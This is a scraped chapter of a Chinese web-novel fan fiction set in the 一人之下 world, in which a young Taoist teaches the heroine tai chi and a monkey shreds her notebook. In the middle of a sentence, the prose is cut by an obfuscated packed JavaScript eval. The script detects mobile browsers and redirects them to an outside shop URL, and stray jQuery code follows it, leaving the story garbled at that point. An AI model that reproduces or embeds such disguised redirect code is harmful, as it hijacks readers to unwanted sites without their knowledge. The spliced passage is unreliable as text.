文趣网 > 都市小说 > [一人之下]温水煮老王实录 > 10. 第九章 遭殃
    小葡萄被云龙道长收拾了一顿,蔫头耷脑了好几天。

    平时那个叽叽喳喳的小孩不见了,他走路低着头,见人也不怎么说话,吃饭的时候,安安静静地坐在角落里。

    齐岑在斋堂看见他,端着盘子坐在他身边。

    “怎么了?”

    小葡萄瘪着嘴,没说话。

    她从兜里掏出一把小麻花,推到他盘子边上。

    “师父罚我抄经。”他声音小得跟蚊子一样,有点委屈在里面。

    “抄多少遍?”

    “一百遍。”

    一百遍啊,确实挺够呛的。

    云龙道长估计也是想让他长长记性,省得下次闯下更大的祸患,抄经算是小惩大诫。静心,记教训,一举两得。

    “你之前是不是想做个美梦着?”齐岑转移了话题。

    小葡萄面上的阴霾瞬间一扫而光,连连点头。

    “等你抄完经书。”

    他答应得痛快,眨巴着眼睛,忽然一拍大腿:“姐姐,你对我这么好,我也得对你好。师父说了,做人要知恩图报。”

    齐岑乐了:“那你想怎么对我好。”

    “太极啊,”小葡萄挺起胸膛:“我太极练得可好了,姐姐你想不想学,我教你啊。”

    他开始疯狂安利:“我们武当山的太极,不累人,还能活动筋骨,练完可舒服了。”

    这一出她是没想到的。

    她的确动了想学太极的心思,最近在山上实在无聊,活动活动也行,但最后学成什么样,她就不抱期待了。

    反正有个送上门的便宜师傅,不要白不要。

    “好呀。”

    小葡萄为了表示诚意,特意跟齐岑约了个时间。避开集体练的时间和地点,专门找了个安静的地方进行1V1教学。

    她其实想说不用这么正式,但看他热情高涨,也就没拒绝。每天下午三点两人都会在后山平台见面。

    小葡萄所言不虚,他的太极的确练得不差,但自己会和教别人完全是两回事。

    “姐姐,你先这样,不对,手再抬高一点。”

    “哎呀,不是这样,你看我。”

    他示范了一遍,动作行云流水。

    齐岑跟着比划,僵硬地像一只刚学会站立的企鹅。

    有时候王也从前山晃悠过来,正巧瞧见这一幕。

    远远的就看见自家师弟站在齐岑面前,比划着太极的起手式,嘴里还不断念叨着“先这样,再这样”。

    齐岑跟着比划,动作僵硬,像做广播体操。

    王也看了一眼,“啧”了一声。

    小葡萄这教的,架势倒是像那么回事,但劲儿不对,细节全没讲。

    这姑娘跟着他学,动作自然也好不到哪去。

    他没停留,把手往兜里一揣,走过去了。

    身后传来小葡萄的声音:“姐姐,不是这样,你看我......”

    半个钟头以后,小葡萄累了。

    “算了算了,今天先到这,明天再练。”他给自己找了个台阶,经这一遭,他可算明白师父当初教导他时,为啥总是咬紧后槽牙了。

    适时,齐岑兜里的手机震了几声,她看了眼来电显示,按下接听键。

    “阿岑,你猜我现在在哪?”

    “哪?”

    齐岑冲着打算离开小葡萄点了点头,然后往住处走。

    “天津。”

    “干嘛去了?”

    “吃煎饼果子呀,”对面一副理所当然的语气,“你上次不是跟我说,天津的煎饼果子好吃嘛。”

    她沉默了一秒:“霍尔科,你专门跑天津吃煎饼果子?”

    “对呀,有什么问题吗?”

    当然没问题,专程跑趟天津,就为了一顿煎饼果子,的确是这家伙能干出来的事。

    “您开心就好。”

    “顺便还交了个朋友,叫什么来着,对,风星潼,天下会的少爷。长得白白净净的,还挺热情,带我去吃了好几家天津本地特色。”

    一听天下会,齐岑就明白了七八分。

    风正豪这老狐狸也想拉霍尔科入伙。

    “你怎么想。”

    “风少爷这人还不赖,我决定交他这个朋友。”

    霍尔科没正面回答,但意思很明显,他对天下会没兴趣。

    对此她一点都不意外。

    “你这交朋友可真够随意的,走哪都是朋友,全国上下还有你霍尔科没朋友的地方吗?”

    霍尔科颇为自豪:“说明我人缘好。”

    “……”齐岑不想评价。

    “哎,对了,风少爷还给我塞了不少特产,给你寄点?”

    “不用。”她拒绝得果断,“你之前给我寄那一大箱子零食还有不少呢。”

    霍尔科“啧”了一声:“你这战斗力不行啊。”

    齐岑:“那箱子里一半都是甜的。”

    他嘿嘿笑了两下。

    “我知道你不爱吃甜的,但这个年龄段的女孩子不都喜欢吗?我就是想,万一你哪天想吃了呢。”

    “你不吃也没关系呀,可以分给山上那些牛鼻子嘛,跟他们交个朋友,这不一举两得?”

    齐岑笑了一声,鼻子里出气的那种。

    亏他想得出来,他以为武当山上都是小葡萄吗?

    霍尔科没在这个话题上多纠缠。

    “还有一个月左右就过年了,你回成都吗?”

    “不回了,过年期间有几场特殊法事,得录素材。”

    霍尔科显然没想到会是这个答案。

    他声音提高了几分:“那我一个人过年了?行,你真残忍。”

    他叹了口气:“你要不回的话,我一个人也没意思,去趟西藏溜溜。”

    电话挂断后,时间还早,齐岑回住处带上设备后,直奔逍遥谷。

    逍遥谷清净,溪水潺潺,鸟叫声时不时从林子里传过来,刚好适合录自然声音。

    她前些日子来过一次,这边有不少猴子,也不怕生,偶尔跟游客“互动”,抢包或者被投喂什么的。

    她没凑热闹,站得远了些,那些猴子该吃吃,该玩玩,也不搭理她,正合她意。

    齐岑在溪边找了块平整的石头坐下,拿出录音笔放在一边,按下录音键。

    然后翻开笔记本,之前在南岩宫录的晚课,有几处韵腔她还没完全理顺,用红笔圈着。

    她低头看得认真,完全没注意到旁边的那棵树上,有一只猕猴正盯着她。

    她手指停在某处标记上,在脑子里又过了一遍。

    谁知那猴子突然从树上蹿下来,直直冲她而来。

    她听见动静,刚一抬

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17871795|212299||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    头,那只猴子已经从她腿上抓走了笔记本,又飞似的蹿到了一边的石台上。

    “喂。”她站起来。

    猴子蹲在石台上,翻了两页,可能是觉得不好吃,便开始撕。

    齐岑眉头微蹙,试图上前拿回本子,但那猴子却机灵得很,蹿得更高了。

    她摸了摸兜,之前带的零食都给小葡萄了,现在空空如也。

    她深吸一口气,压下心里的火气。

    怎么着,收拾这猴子一顿?让它知道什么叫社会险恶?

    但它就是只猴子,她还犯不上跟只猴子较劲儿。

    算了。

    然后她眼睁睁地看着猴子将她的心血撕成碎片,纸页哗啦啦地飘下来。

    风一吹,纸页四处乱飘。有的落在草丛里,有的掉进溪水中,顺着水流飘走了。

    她蹲下来捡了几张,又有两张飘下来,她伸手去捞。

    一只手比她先捞到那两张纸。

    她抬头,王也正站在她面前,手里捏着那两张纸,他瞅了一眼上头娟秀工整的笔迹,又看了看还蹲在地上的她。

    “你这本子上写了什么,连猴子都看不下去了?”

    夕阳在他身后晕开,只能看到余晖在他的轮廓上镀了一层柔和的光芒。

    齐岑看不清他的表情。

    “王道长,你们武当的猴子也太不讲道理了。”

    谈不上抱怨,但王也还是从她的语气里听出点不高兴。

    这山上的猕猴向来猖狂,从不压抑本性,没事拽人家游客衣服,乱翻背包等等都是家常便饭。

    何况今儿撕的还是人家姑娘的调研笔记,这事儿搁谁身上都高兴不起来。

    “是有点儿,”他捡起一张纸,抖了抖,“行,回头我批评教育一下。”

    “那就麻烦王道长了。”

    那猴子许是觉得没意思了,将爪子里的本子往下一扔,歪着头看她,圆溜溜的眼睛里带着点不知是好奇还是挑衅的意味。

    她懒得理它。

    捡起明显薄了不少的本子,有点心堵。

    王也瞥了眼那始作俑者,缄默不言,弯下腰将卡在石头缝里的拿出来。

    日暮四合,两人一猴,在溪边各自忙碌。

    那猴子看了一会儿,挠了挠耳朵,跳回树上,消失在暮色里。

    王也将手中的纸张拢好后递给齐岑。

    “这儿的猴子都野惯了,下次再来留点儿神。”

    她接过来,礼貌地道了声谢谢。

    他将手插回兜里,晃晃悠悠地走了。

    齐岑站在原地,有条不紊地将本子和那沓参差不齐的纸张收入书包里。

    再抬头的时候,那抹藏青色的背影已经走了很远了。

    笔记被撕,意味着她原本的节奏被打乱。

    现场标注和随想疑问这些东西,录音文件里是没有的,而这些恰恰是写论文初稿不可或缺的。

    暖橘色的灯光下,那些散落在书桌上的一张张的稿纸好像张牙舞爪的小兽,看得她心烦。

    好好的笔记被撕成这样,怪心疼的。

    有些页被撕碎了,半截的,字缺了一半,她得根据上下文猜原来写了什么,猜不出来的,大概得去现场重新确认。

    她不由嗤笑,武当的猴子可真行,这算什么?武当山的“程咬金”吗?